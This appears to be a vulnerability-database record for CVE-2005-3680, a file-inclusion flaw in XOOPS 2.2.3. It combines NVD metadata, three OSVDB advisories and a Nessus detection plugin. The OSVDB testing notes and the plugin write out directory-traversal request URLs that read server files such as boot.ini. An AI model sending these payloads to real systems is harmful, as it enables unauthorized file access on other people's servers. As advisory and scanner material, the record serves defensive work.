{"id": "CVE-2005-3680", "bulletinFamily": "NVD", "title": "CVE-2005-3680", "description": "Directory traversal vulnerability in editor_registry.php in XOOPS 2.2.3 allows remote attackers to read or include arbitrary local files via a .. (dot dot) in the xoopsConfig[language] parameter.", "published": "2005-11-18T18:03:00", "modified": "2016-10-17T23:36:48", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3680", "reporter": "NVD", "references": ["http://marc.info/?l=bugtraq&m=113199244824660&w=2", "http://www.vupen.com/english/advisories/2005/2428", "http://www.securityfocus.com/bid/15406/"], "cvelist": ["CVE-2005-3680"], "type": "cve", "lastseen": "2017-04-18T15:51:39", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:xoops:xoops:2.2.3"], "cvelist": ["CVE-2005-3680"], "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "description": "Directory traversal vulnerability in editor_registry.php in XOOPS 2.2.3 allows remote attackers to read or include arbitrary local files via a .. (dot dot) in the xoopsConfig[language] parameter.", "edition": 1, "hash": "3640b5f16037c5ca68832fce951576522a95a7242f7536e3d5040a72b8a1f215", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "fae53210373582f941ce5e20b4e59935", "key": "cpe"}, {"hash": "74ae407306a397b0a0ad358180716883", "key": "cvss"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "0fd25248e59b64893403c7635e0a5f2e", "key": "published"}, {"hash": "a5c61cfea2a6b21fe1c39f308ce86bcf", "key": "description"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "42fadb6ec4a645d449c7330b79839fdc", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "7e28b04352a3c0b53cb36a4d68821d60", "key": "href"}, {"hash": "5fa03321ba2f38b54abd12a3de8c7270", "key": "cvelist"}, {"hash": "fa155544523480058a7ed85d79da9565", "key": "modified"}, {"hash": "eddf54fecec968d7a5923a3ea66799a8", "key": "references"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3680", "id": "CVE-2005-3680", "lastseen": "2016-09-03T05:59:47", "modified": "2011-03-07T21:26:58", "objectVersion": "1.2", "published": "2005-11-18T18:03:00", "references": ["http://marc.theaimsgroup.com/?l=bugtraq&m=113199244824660&w=2", "http://www.vupen.com/english/advisories/2005/2428", "http://www.securityfocus.com/bid/15406/"], "reporter": "NVD", "scanner": [], "title": "CVE-2005-3680", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T05:59:47"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "fae53210373582f941ce5e20b4e59935"}, {"key": "cvelist", "hash": "5fa03321ba2f38b54abd12a3de8c7270"}, {"key": "cvss", "hash": "74ae407306a397b0a0ad358180716883"}, {"key": "description", "hash": "a5c61cfea2a6b21fe1c39f308ce86bcf"}, {"key": "href", "hash": "7e28b04352a3c0b53cb36a4d68821d60"}, {"key": "modified", "hash": "5cbbfbc05ba35f038939d00574518180"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "0fd25248e59b64893403c7635e0a5f2e"}, {"key": "references", "hash": "4535a1f8b8c569d00b36cdfa78fa6423"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "42fadb6ec4a645d449c7330b79839fdc"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "2029cde85a155259539da45f5d7fcc619b11790a2cb625505eacfb93a4ed1c0f", "viewCount": 0, "objectVersion": "1.2", "cpe": ["cpe:/a:xoops:xoops:2.2.3"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": [], "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-04-18T15:51:39"}, "dependencies": {"references": [{"type": "osvdb", "idList": ["OSVDB:20853", "OSVDB:20855", "OSVDB:20854"]}, {"type": "nessus", "idList": ["XOOPS_XOOPSCONFIG_FILE_INCLUDES.NASL"]}], "modified": "2017-04-18T15:51:39"}, "vulnersScore": 7.5}}

{"osvdb": [{"lastseen": "2017-04-28T13:20:17", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script\nhttp://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00\n## References:\nVendor URL: http://www.xoops.org/\n[Secunia Advisory ID:17573](https://secuniaresearch.flexerasoftware.com/advisories/17573/)\n[Related OSVDB ID: 20854](https://vulners.com/osvdb/OSVDB:20854)\n[Related OSVDB ID: 20855](https://vulners.com/osvdb/OSVDB:20855)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-11/0152.html\nFrSIRT Advisory: ADV-2005-2428\n[CVE-2005-3680](https://vulners.com/cve/CVE-2005-3680)\nBugtraq ID: 15406\n", "modified": "2005-11-12T09:18:28", "published": "2005-11-12T09:18:28", "href": "https://vulners.com/osvdb/OSVDB:20853", "id": "OSVDB:20853", "type": "osvdb", "title": "XOOPS textarea/editor_registry.php xoopsConfig[language] Variable Traversal Arbitrary File Access", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2017-04-28T13:20:17", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script\nhttp://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00\n## References:\nVendor URL: http://www.xoops.org/\n[Secunia Advisory ID:17573](https://secuniaresearch.flexerasoftware.com/advisories/17573/)\n[Related OSVDB ID: 20853](https://vulners.com/osvdb/OSVDB:20853)\n[Related OSVDB ID: 20855](https://vulners.com/osvdb/OSVDB:20855)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-11/0152.html\nFrSIRT Advisory: ADV-2005-2428\n[CVE-2005-3680](https://vulners.com/cve/CVE-2005-3680)\nBugtraq ID: 15406\n", "modified": "2005-11-12T09:18:28", "published": "2005-11-12T09:18:28", "href": "https://vulners.com/osvdb/OSVDB:20854", "id": "OSVDB:20854", "type": "osvdb", "title": "XOOPS koivi/editor_registry.php xoopsConfig[language] Variable Traversal Arbitrary File Access", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2017-04-28T13:20:17", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script\nhttp://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00\n## References:\nVendor URL: http://www.xoops.org/\n[Secunia Advisory ID:17573](https://secuniaresearch.flexerasoftware.com/advisories/17573/)\n[Related OSVDB ID: 20853](https://vulners.com/osvdb/OSVDB:20853)\n[Related OSVDB ID: 20854](https://vulners.com/osvdb/OSVDB:20854)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-11/0152.html\nFrSIRT Advisory: ADV-2005-2428\n[CVE-2005-3680](https://vulners.com/cve/CVE-2005-3680)\nBugtraq ID: 15406\n", "modified": "2005-11-12T09:18:28", "published": "2005-11-12T09:18:28", "href": "https://vulners.com/osvdb/OSVDB:20855", "id": "OSVDB:20855", "type": "osvdb", "title": "XOOPS dhtmltextarea/editor_registry.php xoopsConfig[language] Variable Traversal Arbitrary File Access", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}], "nessus": [{"lastseen": "2019-02-21T01:08:51", "bulletinFamily": "scanner", "description": "The remote installation of XOOPS fails to sanitize user-supplied input to the 'xoopsConfig[language]' parameter of several xoopseditor scripts before using it in PHP 'include' functions. An unauthenticated attacker may be able to leverage these issues to read arbitrary local files and even execute arbitrary PHP code, subject to the privileges of the web server user id. Successful exploitation requires that PHP's 'register_globals' setting be enabled and possibly that 'magic_quotes_gpc' be disabled.", "modified": "2018-08-07T00:00:00", "id": "XOOPS_XOOPSCONFIG_FILE_INCLUDES.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=20213", "published": "2005-11-16T00:00:00", "title": "XOOPS xoopsConfig[language] Parameter Local File Inclusion (XOOPS_WFd205_xpl)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\nif (description) {\n script_id(20213);\n script_version(\"1.18\");\n\n script_cve_id(\"CVE-2005-3680\");\n script_bugtraq_id(15406);\n\n script_name(english:\"XOOPS xoopsConfig[language] Parameter Local File Inclusion (XOOPS_WFd205_xpl)\");\n script_summary(english:\"Checks for xoopsConfig parameter local file inclusion vulnerabilities in XOOPS\");\n \n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP application that is affected by\nmultiple local file inclusion issues.\" );\n script_set_attribute(attribute:\"description\", value:\n\"The remote installation of XOOPS fails to sanitize user-supplied input\nto the 'xoopsConfig[language]' parameter of several xoopseditor\nscripts before using it in PHP 'include' functions. An\nunauthenticated attacker may be able to leverage these issues to read\narbitrary local files and even execute arbitrary PHP code, subject to\nthe privileges of the web server user id. Successful exploitation\nrequires that PHP's 'register_globals' setting be enabled and possibly\nthat 'magic_quotes_gpc' be disabled.\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://retrogod.altervista.org/xoops_xpl.html\" );\n script_set_attribute(attribute:\"solution\", value:\n\"Disable PHP's 'register_globals' setting and enable its\n'magic_quotes_gpc' setting.\" );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2005/11/16\");\n script_set_attribute(attribute:\"vuln_publication_date\", value: \"2005/11/12\");\n script_cvs_date(\"Date: 2018/08/07 16:46:49\");\nscript_set_attribute(attribute:\"plugin_type\", value:\"remote\");\nscript_set_attribute(attribute:\"cpe\",value:\"cpe:/a:xoops:xoops\");\nscript_end_attributes();\n\n \n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n \n script_copyright(english:\"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"xoops_detect.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/xoops\");\n exit(0);\n}\n\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\n\n\nport = get_http_port(default:80);\nif (!can_host_php(port:port)) exit(0);\n\n# Test an install.\ninstall = get_kb_item(string(\"www/\", port, \"/xoops\"));\nif (isnull(install)) exit(0);\nmatches = eregmatch(string:install, pattern:\"^(.+) under (/.*)$\");\nif (!isnull(matches)) {\n dir = matches[2];\n\n # Try to exploit the flaw to read a file.\n #\n # nb: header.php in XOOP's main directory is useful because it should\n # always be present, returns a message if called directly, and its\n # use doesn't depend on magic_quotes_gpc.\n file = \"../../../../header\";\n if (thorough_tests) editors = make_list(\"dhtmltextarea\", \"koivi\", \"textarea\");\n else editors = make_list(\"textarea\");\n\n foreach editor (editors) {\n r = http_send_recv3(method:\"GET\", port:port,\n item:string(\n dir, \"/class/xoopseditor/\", editor, \"/editor_registry.php?\",\n \"xoopsConfig[language]=\", file\n ));\n if (isnull(r)) exit(0);\n\n # There's a problem if we get a message about \"root path\".\n if (\"XOOPS root path not defined\" >< r[2]) {\n security_warning(port);\n exit(0);\n }\n }\n}\n", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}]}